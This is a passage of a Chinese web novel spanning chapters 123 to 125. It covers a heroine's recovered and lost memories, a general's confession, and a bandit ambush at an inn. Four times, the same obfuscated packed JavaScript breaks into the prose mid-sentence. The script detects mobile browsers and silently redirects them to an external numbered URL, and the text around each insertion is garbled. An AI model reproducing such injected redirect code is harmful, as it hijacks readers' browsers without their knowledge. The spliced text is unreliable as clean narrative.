“我不是叶岚……”暖暖觉得自己应该气,可看着他这样子,却又气不起来。 冷逸尘觉得有些窒息,他松开手,目光看向海天交接之处,喃喃地说道:“我知道,我一直都知道,叶岚被我亲手杀死在了重峪关……而你是叶青……” 之后,暖暖看着他满目悲伤,转身离开,脚下的如踩了云朵一般,那个叫黎平的侍卫上前,扶着他进了船舱。 凌乱的话语让暖暖理不清头脑,只觉得十分憋闷,原来感情就是这样脆弱,一言不合就会破裂。 没意思!很没意思!她倒了一碗酒一饮而尽,之后将碗狠狠地砸进了海里。 船转了个湾,开始返航,停靠岸边后,暖暖也不管冷逸尘,自顾自地下船去了,隐隐约约听见后面有人说道:“快去请军医。” 至于这样吗?一碗酒而已,她觉得他们有些小题大做。 回去的路上,暖暖便下定决定要离开,冰绡说得的对,她只是被那将军的皮相迷惑,而那将军也只是将她自己当作替身。 午后她去看冰绡,正见军医也到了客房,冰绡能好得这样快,军医功不可没。 暖暖向军医致谢:“多谢先生尽心尽力救治我的侍卫,敢问先生她如何了?” “在下正要为姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654708|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘施针,姑娘现下身体虚弱,需静养为宜。”说罢军医就匆匆离开了。 暖暖怕耽误军医看诊,便没有进去,而是回到了清和轩。 等她看见那冷逸尘,便要与他说要回去的事。 可等到了太阳偏西,冷逸尘还是没有出现,暖暖心中的怒气逐渐被担忧代替,他会不会出什么事?他的酒量似乎很浅,难道真的出什么事了? 越想越担忧,她踱步到中庭,书房内空无一人,她便问一个洒扫的侍从,得到将军在卧房的回答。 问明了卧房的方向,走到一半,她却迟疑了,不是决定要离开了吗?为什么还要这样关心他,自己这样主动是不是自轻自贱呢? 正待掉转脚步,黎平从前面走来,见到她便行了一礼。 她客气问道:“将军如何了?” 黎平虽对她礼数上恭敬,但言语间却不客气:“有劳小姐挂心了,将军身体不适,昏睡不醒。” “他生病了?” “将军不能饮酒,小姐还是自己去看看吧,告辞。” 只因将军有过叮嘱,不得将他呕吐至胃出血的事告诉这女子,黎平才如此不忿,说罢他便带着怨气走了。 暖暖顺着黎平来的方向,竟一路摸到了一处院子,这院子在都府的东北角,进入院内,一股熟悉之感扑面而来,这是一个十分朴素的院子,朴素到与院外的都府不协调。 院子里种满了月季花,姹紫嫣红,她无心观景,沿着小路快步穿过花圃,进入房间内。 这是一个很小的住处,外间有一个不大的书案,书案上放着一幅画,画的是一男一女在海边骑马,其中的女子红衣飘扬,手腕上一抹绿色十分显眼。 这女子便是叶岚吧…… 那套红衣和手腕上的这副手镯,都该是这女子的…… 暖暖觉得受到了极大的侮辱,她想褪下手上的镯子,可这镯子有些小,并不能轻易褪下。 此事要有个了断,暖暖进到里间想质问冷逸尘,走到床边,伸手去掀帷帐时,却见床边垂下女子睡衣。 这一幕是这样的刺眼,她将手收回攥成了拳头。 真是可笑,她自己就是个笑话。 这帷幕之后是怎样的旖旎春光呢?掀开了又能怎样呢?她是他什么人,有什么权利去过问他的事。 她不知道自己是如何走到外面的,书案上图画上那一抹绿意是那么显眼,她心中十分懊悔,早就该意识到,手镯这样小,根本就不是她手腕的尺寸。 使了很大力气,手镯也褪不下来,她便将手腕放到案几上,拿起砚台砸了下去。 那绞丝玉镯本就脆弱,被这一砸立即变得粉碎,紧接着又换了手去砸另一只。 里间的冷逸尘听见声音,不知发生了何事,昏涨的头脑瞬间清醒过来,起身也未披外衫,只身着里衣拿了剑冲到外间。 只见暖暖面色铁青,左手捂着右手的手腕,血从指缝里流出,门口几个侍卫做攻击状。 123. 真时真亦假 冷逸尘以为是侍卫伤了暖暖,立即呵斥道:“放肆!是谁伤了她?” 一个侍卫带着些委屈:“回将军,属下们并未动手。” 他命令道:“都出去!快叫军医来。”说罢上前去检查暖暖的手腕, 暖暖并不让他碰,后退一步却被书案抵住,再无处可退。 冷逸尘强行扒开她的手,只见手腕上被划伤了几个口子,又瞥见书案上的痕迹,心中有些了然。 “为什么?”暖暖愤怒地看着他,等他一个解释。 “你的伤需要上些药。”冷逸尘不回答。 暖暖将手抽出来,大声问道:“连解释都不想说吗?这画上到女子是谁?床上的女子衣衫又是谁的?” 她控制不住自己的情绪,抓起一把碎玉向他身上砸去,之后便要向外走。 冷逸尘从她身后紧紧地将她抱住,艰难解释道:“暖暖,你听我说,不是你想到那样……” “你还想怎样狡辩?已有娇妻美妾在侧,你把我当成了什么?”暖暖挣脱不开,气得一口咬在他的手臂上,却不偏不倚正咬在了伤口处。 冷逸尘疼得倒吸一口冷气,青筋暴起,但他咬着牙没有吭声,等到她松了口,俯身将她抱进里间,放到了床上。 暖暖一点也没注意到,自己唇上已沾上鲜血,她挣扎着起身,却被他使劲按了回去。 冷逸尘紧紧按住她的手臂:“暖暖,你听我说。” 暖暖深吸一口气,试图让自己冷静下来,可怒气如沸水一般不断翻涌。 “画上的人是你,床上的衣衫是你以前穿过的,这些年我只有靠着这些回忆才能坚持下来……你是叶岚啊,是我的王妃呀!”冷逸尘说着,微微偏头,额前几缕碎发垂下,显得孤寂又脆弱。 这些话让暖暖不能接受,怒气翻腾起来,无处宣泄,在体内乱窜,扰乱了她的呼吸,令她有些窒息感,犹如离了水的鱼。 她捂着胸口,大口喘息着地说道:“你胡说,你以为我会相信吗?你将我耍了这些日子还不够吗?还要编出这些话来骗我。” 冷逸尘从枕头下拿出一个荷包给她看:“这个荷包,记得吗?师兄说这是你要送给我的。” 她接过荷包,这个荷包她的确见过,上面绣有茉莉花图案,但看针法习惯,却是三人所绣,其中两种是她和舒雁绣的,还有一部分不知是谁绣的。 一切都可以造假!现在暖暖并不相信他:“一个荷包,能说明什么?” 冷逸尘又拿出一个盒子打开,里面是一些纸张,他一张张给她看。 “这是你以前写给我信,这是你平日练的字,这是你最后给我写的……诀别信。” 暖暖一一接过,字迹确实她的无疑,前几封信的落款是叶岚,可最后一封信上的文字,令她的手微微颤抖。 “……叶岚已逝,便是前尘往事已随风,君亦应挥袖断旧梦……” 落款却是叶青。 冷逸尘流露出哀伤:“你我五年前成婚,我们相知相爱,因遭人算计,我与师兄在重峪关兵戎相见,你替我挡下师兄的一刀,我却将你丢在了重峪关,我们的孩子也……” 他声音哽咽,再也说不下去。 “不,不是这样的,这都是你编的,这么大的事,没有一个人跟我说过……你一定是骗我的……”暖暖惊得瞪大了双眼,下意识捂着自己胸口上那道疤痕的位置,仍然不相信。 如果这是事实,那么就是叶皓一直在骗她,她身边所有的人都欺骗了她。 叶皓,她的哥哥啊,她最信任的人,怎么会欺骗她!锥心之痛令她弯下了背,体内气息更乱,她费力地说道:“这和他们说的不一样,是你在骗我……我不是什么叶岚,我叫叶青……” “我没有骗你……”冷逸尘半跪在脚踏上,手摸到她的后腰处:“你这里有块胎记,海棠花的形状。” 暖暖的目光变得惊恐起来,如此私密之事他都知晓,他没有说谎。 那么,之前的一切都是假的,她自身活在了一个巨大的谎言之中。 急火攻心,那股怒气直冲头脑而上,像是冲开了一个机关,记忆如暴风雨中的海浪,排山倒海地向她涌来。 过往的一幕幕出现在脑海里,胸口的那一刀,崇安王府外的火光冲天,海边上的纵马驰骋……最后停留在一袭大红嫁衣上…… 这一切让她头脑发胀,耳中一阵嗡鸣,嗡鸣声掩盖了周围的一切声音。 一阵天晕地旋后,她再也感知不到这个世界。 冷逸尘揽住落下来的她,对着外面喊道:“快传军医……” 未想外面一阵打斗声后,却见冰绡闯了进来。 侍卫去叫军医时,军医刚刚为冰绡施完针,冰绡见来人又那样焦急,心中担忧是公主出事,便悄悄跟了过来。 到这一看,果然如此,她见冷逸尘只穿着里衣,将公主抱在怀中,而公主嘴角和手上还有血迹,便断定是公主受辱。 她上前一掌打在冷逸尘左肩上,想夺回公主,但见他不躲闪也不松手,便又将匕首架在了他的脖颈间,咬着牙质问道:“你对她做了什么?” “她受了刺激,先救她。”冷逸尘来不及多做解释。 冰绡见公主气息微弱,立即为她搭脉,但脉象紊乱、内气息逆行,倒与上次宫变晕倒后有些相似。 此时侍卫已围在周围,但谁也不敢贸然动手。 冷逸尘只担心暖暖的情况,命令道:“都退下,让军医来诊治。” 冰绡体虚,这一掌只有之前五成的功力,但却够他受的,他推开冰绡拿着匕首的手,忍痛将暖暖安顿在床上,轻轻为她脱了鞋,之后才穿上了外衫。 看到他的举动,冰绡感觉他是真心想救治公主,便收起了匕首。 军医扒开人群,进来诊脉,手往腕上一搭,立刻皱起眉头,赶紧拿出银针,在右手劳宫穴处扎了一针,挤出一些黑血来。 之后拿出一颗药丸交给冰绡:“黄酒化开,立即服用。” 冷逸尘给黎平使了个眼神,黎平立即带着冰绡去找黄酒。 连刺了两针,人才转醒,军医松了口气,自去开药方。 暖暖茫然地看着周围的一切,又见床上凌乱不堪、眼前的陌生男子衣衫不整,神色变得惊恐起来,立即坐起来挪到床的最里面。 如此情况,任谁看了都会往歪处想,冷逸尘赶紧将外袍穿上。 暖暖低头看了看自己的衣衫,抱着双腿惊恐地问道:“你是谁?怎么在本宫的床上?你对我做了什么?” 接着她哭起来,大声招呼人:“安如?云琴?快进来?” 冷逸尘想上前安慰:“我是冷逸尘……” “冷逸尘……崇宁王?”她使劲捂着自己的衣服,斥责道:“你……你我尚未成亲,你怎可如此放荡,竟敢轻薄于我?安如在哪里?云琴在哪里。” 看着她的样子,记忆似乎是回到了她刚到祁囯的那个时候,冷逸尘几乎绝望,他不知该如何去解释。 冰绡听见声音赶紧进来,看着面色惨白的公主缩成一团,不住地颤抖,心提到了嗓子眼,她恶狠狠地看了一眼冷逸尘。 她上前隔在二人中间,用身体挡住他,轻轻叫了一声:“公主……” 暖暖看她眼生,但是听她叫的是“公主”,便知是自己人,她问道:“你是谁?安如和云琴呢?” 冰绡看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665807|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着公主眼中的茫然和惊恐,和宫变后醒来一模一样,心中便明白了几分,她顺着公主说下去:“属下是陛下为公主安排的贴身侍卫,名叫冰绡,是来保护公主安全的。” “你是父皇派来的?你从梁国来?”暖暖有些不相信,她的父皇不会如此关心她。 冰绡不解,迟疑了一下说道:“是信王殿下。” “四哥哥,他来了吗?”提及叶皓,暖暖对冰绡的紧张松懈了一点。 冰绡摇摇头。 暖暖见那崇宁王还在屋内,眼泪愈发止不住,命令冰绡:“让他出去,出去……” 冷逸尘见她情绪激动,只得从屋里出来,却听得里面暖暖哭得十分委屈:“这崇宁王不是什么良善之辈,未成婚便如此对我,我不要嫁给她,我要回去……” 冰绡:“属下前来,就是要带公主回去的,公主现在体弱,喝了这药,过一会儿属下便带公主离开。” 冷逸尘闭眼深吸一口气,他的确不是良人,不堪托付。 黎平进来为他的伤口上药,两排牙印赫然在列,可他心中的疼痛已让躯体麻木,感觉不到一点痛。 屋内的声音渐渐止住,冰绡出来在他身前跪下,叩了一首,说道:“这一拜谢将军对我的救命之恩。” 说罢又叩一首:“这一拜是请将军放过公主离开。” 她已想好,若是这将军不允,她便挟持他,今日说什么都要带公主离开这里。 “好。” 冰绡一愣,但未想上座之人竟然答应了,她继续说道:“我还有一句话要问将军,将军……可曾玷污了公主清白?” 她说这话的时候,狠狠地盯着上座之人,若他回答是,那么她早晚要取了他的性命。 冷逸尘反问道:“你可知她的身份?你可知她是昭阳公主?” “想必将军是认错人了,公主封号为平阳,公主也并非我朝陛下的亲妹妹,是老庆王的遗腹子,由陛下认领回来,因在宫变中有功,故而封为平阳公主,将军当真是认错了人。” “那你可知你朝的昭阳公主的事?” “略有耳闻,先前百高犯我大梁,战事胶着,祁囯出兵后,两国联手击退百高人,之后梁国昭阳公主远嫁祁囯崇宁王,但是在后来重峪关一战中,昭阳公主被你们斩杀祭旗。” 冷逸尘接着说下去:“昭阳公主并没有死,而是被带回来梁国,更名换姓,做了平阳公主叶青。” 冰绡思忖着他的话,又听见公主刚才的言语,那句“我不要嫁给他”和“父皇”两个字,似乎也证实了他的说法。 若他说的是真话,此事倒也能解释得通,她问道:“你就是崇宁王?” “是,这是我的宝印。” 冰绡接过一看,果然不假,只听上座之人回忆道:“战场上她身负重伤,我将她丢下,独自回京……” 冰绡疑惑:“你与陛下相识? “我们早就相识。” “有何证据?” 冷逸尘拿出一枚鱼符交给她。 冰绡看了,暗暗吃了一惊,这是城南裕丰铁匠炉的专用联络,除了陛下身边的几个亲信,没几个人见过,但却在他手里。 但她依旧有戒心:“那我更要带公主走,你既然伤了公主一次,谁知道你还会对她做出什么事来。” 冷逸尘无言以对,说道:“我护送你们去宁远城。” “等公主能起身了便。”冰绡补充了一句,若不赶紧走,只怕会夜长梦多。 冷逸尘命黎平去安排车架和人马,冰绡则去联络关城中的绣衣卫。 未想暖暖一睡便是一整晚,冰绡与冷逸尘一刻也未合眼,生怕她有什么危险。 124. 黑店遇劫匪 次日天还未大亮,暖暖缓缓醒来,只觉浑身乏力,朦胧中叫了一声舒雁。 冷逸尘听见声音,便欲上前,却被冰绡拦住。 冰绡上前试探着叫了一声:“公主……” 暖暖头脑沉沉,看着周围陌生的环境,闭上眼睛使劲摇摇了头,之后问道:“冰绡,我们这是在哪里?我怎么了?” 冰绡听见公主还认得她,才放心的说道:“公主身体不适,晕倒了。” 暖暖在她的搀扶下坐起身来,只觉头痛不已,记不起自己是如何晕倒的,用手去扶额时发现手腕上缠着布条:“我又自尽了?” 冰绡看向冷逸尘,等他一个解释。 暖暖这才注意到不远处站着一个男子,一脸憔悴,十分不安的看着她们。 “冰绡,他是谁?” 冰绡迟疑了一下,似乎公主将这几日的事全忘了,她解释道:“公主,咱们在临闾关,遇到了危险,是这位将军救了咱们。” “临闾关?是什么地方?怎么会在这里?我今日还约了于公子去淑清楼。”暖暖摸摸手腕,那里时不时传来的刺痛,提醒着她这并不是梦。 “公主来此疗疾。”冰绡言简意赅,不敢多言。 暖暖看向冰绡身后的男子,点头行礼:“多谢将军相助,敢问将军姓名?将军之恩,待我归国后一定报答。” 冷逸尘看着暖暖的陌生与客气,只能拱手为礼:“我……在下冷逸尘。” 昨晚,冰绡已将公主生病以来的情况告知他,只说公主平日里看着正常,但只要受到刺激就会性情大变,失去记忆。 她还说公主这病已经一年多没复发了,可遇到了他就再次发作,冰绡请求他不要让公主受刺激。 暖暖似乎也是习惯了这样,并没有过多询问,再次向这将军致谢后,只是安静的坐着。 冰绡开口:“将军,公主已醒,可否兑现之前的承诺?” “好……”冷逸尘告辞离去。 暖暖带着询问的眼神看向冰绡。 冰绡解释道:“公主放心,属下护送公主与季萧汇合,季萧找了神医为公主治疗。” 她对此安排并无异议,只问舒雁在何处。 冰绡扯了谎:“舒雁先行与季萧汇合,等公主前去。”之后又安抚了公主几句,让她尽管放心。 之后便有侍女进来为她沐浴更衣,安排膳食,两个时辰之后,她们坐上了马车,冷逸尘并黎平率领的十二名侍卫护送。 临闾关城外,早有四名绣衣使驾车等候,暖暖再次换了马车,两拨人马一起上路。 昨晚那一番折腾似乎耗光了她的所有精神,虽然昏睡了一夜,可她依旧精神不济,队伍每隔一半个时辰便要停下来休息。 暖暖与冰绡同车,绣衣卫紧护在周围,所有人不得近身。 每次休息时,她都会看见那将军想走近她,有时拿着一些水,有时托着一些果子,可全都由冰绡接过来转交给她,她只能隔着人群向他点头致谢。 但她看那将军似乎是很想与自己说句话,毕竟他有救命之恩,只恐这样会怠慢与他,于是她告诉冰绡可以让那将军过来,但是冰绡坚决不同意。 队伍行驶的很慢,关外人烟稀少,几无客栈,鲜少人烟,晚间无法借宿便要搭帐篷露宿。 冰绡心下焦急,不知季萧何能否前来接应。 队伍行了四日,临近午时,他们竟然在路边看见了一家食店。 自关外收回来之后,过往行人渐渐增多,当地人开设食店也属于正常,眼下天气炎热他便命队伍停下,到食店处休整。 开店之人为一对夫妻,店家一头花白头发,约摸已年过半百,而店家娘看着只有三十出头,个头高大、身材丰满,皮肤略黑,透出一股蓬勃的生命力。 那娘子一看浩浩荡荡来了一群人,便知是大买卖,笑着脸迎上来:“呦,哪来的俊俏小公子,看着衣衫看着面皮,不是本地人吧……快来屋里坐……” 说着便要去拉扯冷逸尘的衣袖,却被黎平用刀将二人隔开,黎平用警告的眼神看了那娘子一眼。 那娘子却不怕,轻轻推开刀,笑着说道:“这位小哥儿瞧着也是个俏郎君,这般凶神恶煞的做什么?想吃什么告诉姐姐,姐姐这店里可什么都有。”之后又向黎平抛了一个媚眼。 黎平才十七岁,也是良家子弟出身,哪里见过这阵仗,一时间红了脖颈。 冷逸尘对那娘子说道:“我们着急赶路,有什么吃食尽快给我们上来。” 之后便命黎平去安顿兄弟们,他则来到暖暖得马车前,请她下车。 暖暖见有外人,便带上了帷帽,由冰绡的搀扶着下了马车。 店家娘子一看还有女客,快步过来,边走边说:“诶呦喂,真是神仙下凡啊,我竟没见过如此标志的美人儿,快屋里请,屋里请。” 冰绡冷笑道:“娘子好目力,隔着帷帽都能看清我家小姐长相……屋里就不必了,我们只在外面就好。”说完从怀中掏出一块沉甸甸的银子来扔给店家娘子。 那娘子一把接过银子,放到嘴边咬了一口,确认无疑后痛快的说道:“姑娘痛快!” 接着转向屋内,高喊道:“老李,老李,快上热茶,再烫两壶酒,将今日刚猎得的兔子、野鸡也炒两盆出来。” 暖暖看着这泼辣的风格,笑道:“倒是有着北方人的豪爽。” 冰绡引着坐到了外面的桌前,她则邀请了冷逸尘同座,冰绡对绣衣使打了个手势后,也坐到了她身边。 不多时,店家娘子端来一壶热茶和几个碗,她将碗一一摆开,准备倒茶:“这可是南边来到上好的茶叶,想是比不得姑娘家的,但在这里也算是好的了。” 她说话间将几人细细打量一番,最后目光在冷逸尘身上流连了几下。 冰绡捏住她的手腕,说道:“我家小姐脾胃弱,喝不得茶,换热水来。” 店家娘子一愣,深深的看了这女子一眼,随即换上笑脸:“好嘞,姑娘稍等” 娘子走后,便有绣衣使上前来对冰绡耳语了几句,冰绡又吩咐了几句。 暖暖不解的问道:“什么事?” 冰绡压低声音:“将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680763|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这是家黑店,请赶紧告诉你的侍卫不要乱吃东西。” 冷逸尘听了心中一惊,立即对黎平耳语一番,并示意他千万不要声张。 暖暖紧张的拉住冰绡的手,问怎么办? 冰绡宽慰道:“公主不要紧张,不要表现出来,我试过那娘子的手腕,是有些功夫在身上的,他们不过是图财,只要给够银两,不会有事的。” 她见店家娘子过来,便将话锋一转:“多谢娘子,劳驾娘子上些饼食来。” 娘子为三人倒了水,又从腰间扯出一块抹布擦了洒在桌子上的水,说道:“店里早起发的面,蒸的黄牛肉馅的包子,正好出锅给客官尝尝鲜。” 冰绡迟疑了一下回答:“也好……” “好嘞,马上就来。”店家娘子痛快答应离开。 冰绡拦下公主想要端起来的碗,低头闻了闻,冷笑道:“都警告她了,还不知好歹。” 此时,黎平回来回禀道:“他们只是喝了些水,还未吃食物。” 冰绡听了,立即从怀中掏出一个小瓶子,交给黎平:“这毒只会让人一时乏力,吃上解药,一会儿便好。” 黎平这才意识到出了问题,看向冷逸尘,见他点头示意后接过瓶子,快步离开。 冰绡对桌旁的二人说道:“请将军护送公主先走,我在这里应付。” 冷逸尘点头,起身想带暖暖离开,却听见身后传来男子粗犷的声音:“店家,来五斤牛肉,两坛好酒。” 闻声望去,只见六七个壮汉,赶着一辆骡马板车到了食店,板车上的货物用破布盖着,极不归整,看不出是什么货物。 暖暖有些怕,问冰绡道:“你怎么办?你伤还没好。” 冰绡瞥了一眼壮汉们,拍着她的手说道:“公主不用担心。” 说话间壮汉们已来到跟前,见文文弱弱的几人,嘲笑起来:“呦呵,又是读书人,如今关外收复了,读书人也多了起来。” 冷逸尘将暖暖挡在身后,暖暖下意识地抱住了他的胳膊,他们未理众人,直接向马车走去。 听得后面奚落道:“嘁!还读书人呢?话都不会说……” 冰绡:“哼!与你们这些莽汉,有什么么可说的?” 壮汉:“呦,小娘子长的不错,就是嘴上厉害了点……” 暖暖听着这话心惊胆战,回头去看冰绡,只见冰绡将剑拍在了桌子上。 她扭过头来,才发觉自己的手还挽着这将军的手臂,她忙松开,手却被这将军握在了宽厚的掌心中,耳边传来他的声音:“别怕,向前看。” 暖暖竟然心中安定了几分,带着忐忑之心前进,路过壮汉们的马车时,她瞥见车上的破布漏洞之处有一个荷包,荷包上绣的是云雁高飞。 好生眼熟,她不禁多看了一眼,立即想起来,这是她在刚生病时,舒雁为来给她解闷,拉着她一起绣的,只不过她那时手抖的厉害,几乎全部由舒雁一个人绣完。 后来在维扬,她命舒雁还于文则银钱时,便是用这荷包装的。 可这荷包为什么会出现在这里? 125. 问诊溯病因 暖暖脚下一顿,冷逸尘立刻感知到,转身只见她盯着板车上的货物,便轻声问:“怎么了?” 暖暖带着疑惑:“于公子?” “谁?”冷逸尘心中一紧,拉着她的那只手上不自觉的加了些力道,这个名字已从她口中听到了两次。 这于公子是何人,竟让她印象如此深刻。 但见暖暖带着求助的眼神看向他时,他还是用剑挑开了破布的一角,果然见到一双被捆得结实的男子双脚。 那男子或是感知到有人发现了他,立即扭动起来,破布堆里传出“呜呜”声。 冷逸尘挑开破布,只见这个男子上半身被套着麻袋,看不到面容。 男子确定是有人,身体扭动的更加厉害起来。 “喂,你俩在干什么?”一个壮汉发现了他们的举动,立即向他们走去,但他刚动身,就被冰绡掷出的酒碗砸中了头。 众人立刻混战起来,壮汉们也不再隐藏,纷纷亮出了大刀,原是土匪。 几个侍卫闻声而来,但因中毒还未恢复,并不是土匪的对手,几下就被打到在地,黎平与绣衣使共同对付几个土匪。 有两个土匪已冲到冷逸尘跟前,他拔剑抵挡。 看着混乱的场面,暖暖捡起一把剑与冷逸尘一起对抗,二人倒是配合默契。 几个回合之后,暖暖全身蓄力,使出一个大招,将身前壮硕的土匪击倒在地,之后她便觉全身无力,头脑发胀、体内气息乱蹿。 她身体支撑不住,跪倒在地,用剑撑住身体。 冷逸尘见她单膝跪地不动,面上已变了颜色,立即跳到她身前,先点了胸前的两个穴位,然后转到身后又点了两个穴位,之后在她后背拍了一掌。 她口中吐出两口黑血,随后身体向前扑了出去。 冰绡眼急手快,冲过来跪在地上接住了她,她又在冰绡怀中吐了一大口鲜血,随后面色由黑转白。 不多时,土匪们全被制服,黎平上前来向冷逸尘回禀:“将军,土匪死三人,逃两人,活捉两人。” “就地正法。”冷逸尘为暖暖擦去嘴角的鲜血,没有功夫去处理这些事。 绣衣使抬着麻袋套着的人,也上前来对冰绡说道:“回左使,食店店主已就地斩杀,后厨中搜出两具肢体不全的尸骨,这个人是板车上的那人。” 冰绡愤恨的说道:“好,果然是家黑店,人肉馅包子充黄牛肉馅包子,真是惨无人道,什么事都做的出来!” 黑店加土匪,真是祸不单行,她又看着麻袋,说道:“打开。” 麻袋一开,未想里面之人竟是于文则! 冰绡不由得皱了眉头。 于文则眼睛还不能适应亮光,眯着眼睛看清冰绡怀中躺着之人,想说什么,奈何嘴被堵住。 一个绣衣使将他口中的布条拔出来,他活动了一下颌,喊到:“青妹妹,青妹妹,你怎么了?” 待他看清冷逸尘之后,又惊讶的说道:“崇宁王殿下,巧啊,在这儿遇见了。” 冷逸尘听见声音才看了他一眼,但却没功夫理会他,看着冰绡为暖暖诊脉。 冰绡对公主这脉象感到奇怪,不知那将军点的什么穴位,这脉象竟然平稳下来,但人却是昏迷不醒,她目前也没什么好法子,只有速速离开这里才是上策。 她看了看四周后说道:“将军,只怕会有土匪来报复,请速带公主离开,绣衣使开路,我断后。” 冷逸尘立即将暖暖抱到马车上,对黎平吩咐一番后,立刻同两个绣衣使及两个侍卫离开。 于文则见人都走了,大喊大叫起来,冰绡回身上前捏住他的下巴一掰,他的下颌便脱了臼,只能张着嘴发出“啊啊”声。 冰绡不耐烦的说道:“于公子,你可真是个灾星啊!”说罢又将布条塞回他口中,命人将他扔到马背上,一起出发。 黎平则留下来善后,待其余侍卫体力恢复后再出发。 冷逸尘一行人走了约摸两个时辰,便遇见了任泽生前来接应。 任泽生上车一看,见果然是公主,欢喜的竟要留下泪来:“殿下,真的是公主,公主这是怎么了?” “路上遇到了土匪。泽生,先去大营请军医,安排一队人马接应黎平,再安排一个营进山剿匪。” “是,军医已请到了大营外的庄子上,请殿下速去哪里。” “好,立即启程。”冷逸尘对泽生的安排十分满意,子泽生出人辽东郡后,的确是进步了不少。 辽东郡都府初建,侍女侍婢皆为新招录之人,难免有各方众多眼线。 而冷逸尘并非辽东郡统领,住在都府也多有不妥,若被有心之人拿来做文章,或又是麻烦事。 而这个庄子是关外先前富户遗留下来的,荒废了许久,因离大营近,泽生便将之修缮,调任军中之人护卫,作为冷逸尘来时的休憩办公之地。 马车疾驰,很快就到了山庄,舒雁拄着拐杖已在此等候多时。 冷逸尘抱着暖暖从马车上下来,舒雁见暖暖这般模样,瞬间慌了神,立即扔掉拐杖,一瘸一拐的上前去,拉着暖暖的手哭道:“公主,公主……” 冷逸尘猜想此女子应是暖暖的婢女,但他也顾不得解释,直接抱着人进去,便走便命令让军医立即过来。 舒雁一路忍痛紧跟,到了床边再也站不住,跪坐到了脚踏上。 军医一番诊断,捋着胡子说道:“中气亏虚、统血无权、故而血液外溢,当下宜补血养气为主。” 说罢便去开方子,他前脚刚出门,后脚季萧与泽生押着一个发髻蓬乱的中年男子进来。 原来季萧听闻神医踪迹,便亲自进山将他“请”了出来,刚到宁远城喝了杯茶的功夫,便有冰绡派出的绣衣使找来。 于是他立即带人赶去找公主,半路正巧碰见泽生,二人在梁京十里亭有过一面之缘,虽然此时季萧蓄了胡子,但泽生依旧认出了他。 二人未多寒暄,带着神医直奔庄子而来。 季萧对冷逸尘行了一礼,来不及多解释,对那神医说道:“立即看诊。” 男子叹了口气:“你将我捉来,既有求于我,就是这个态度?” 季萧又急又气,握紧了拳头说道:“少废话,我家小姐若有事,你跟着陪葬。” “真是新鲜,我若不来,岂有这性命之忧?我宋某人看诊无数,还从未见过如此无赖之人。”男子说完将手拢在袖子中,一副无所谓的样子。 冷逸尘听完,上前问道:“先生可是宋神农?” “不敢不敢,浪得虚名而已,怎么?这位公子认得我?”宋神农上下打量了他一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694183|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他七度不凡,不像是能知道他这号人的人物。 冷逸尘:“先生可识得临闾关崔先生?” “老崔呀!识得,识得,多年故交了……”宋神农赶紧找个台阶下,他知老崔现在在军营中,恐 前之人也是军中之人,他可得罪不起。 他立即放下药箱,准备诊脉。 舒雁将刚刚拿下去的帕子重新覆在公主手上。 宋神农“呵呵”了两声,调侃了一句:“真是讲究人儿……” 之后边搭着脉边说道:“妙啊!气血逆行,封锁膻中、府中两穴,引气入风府、百会处,再用外力将其逼出,只是这外力又冲破旧伤,故而吐血。” 冷逸尘一听,便知是神医,仅通过诊脉就知道了情况,他有些自责自己掌上力度过大。 他刚想问如何医治,就听那宋神农继续说道:“这一掌力度刚好,若轻些,只恐邪气难出,若重些,又会冲破心脉,性命难保呀……” 冷逸尘又对他说了暖暖失忆之事,舒雁也补充了公主平日头痛的症状。 宋神农换了个手,继续诊脉,问道:“此前可有过身孕?” 舒雁看着冷逸尘与泽生两位男子在,更见泽生满脸惊讶,恐毁了公主清誉,便否认道:“不……不曾……” 不料宋神农撤了手:“讳疾忌医,不说实情,这病没法看了。” 冷逸尘立即回答:“是。” 宋神农这次继续诊脉:“气血两亏致使小产,小月子中伤心过度,故而留下这头痛之疾。” 舒雁点点头。 宋神农摇着头:“之后气血逆行致使伤口崩裂,吐血一次。” 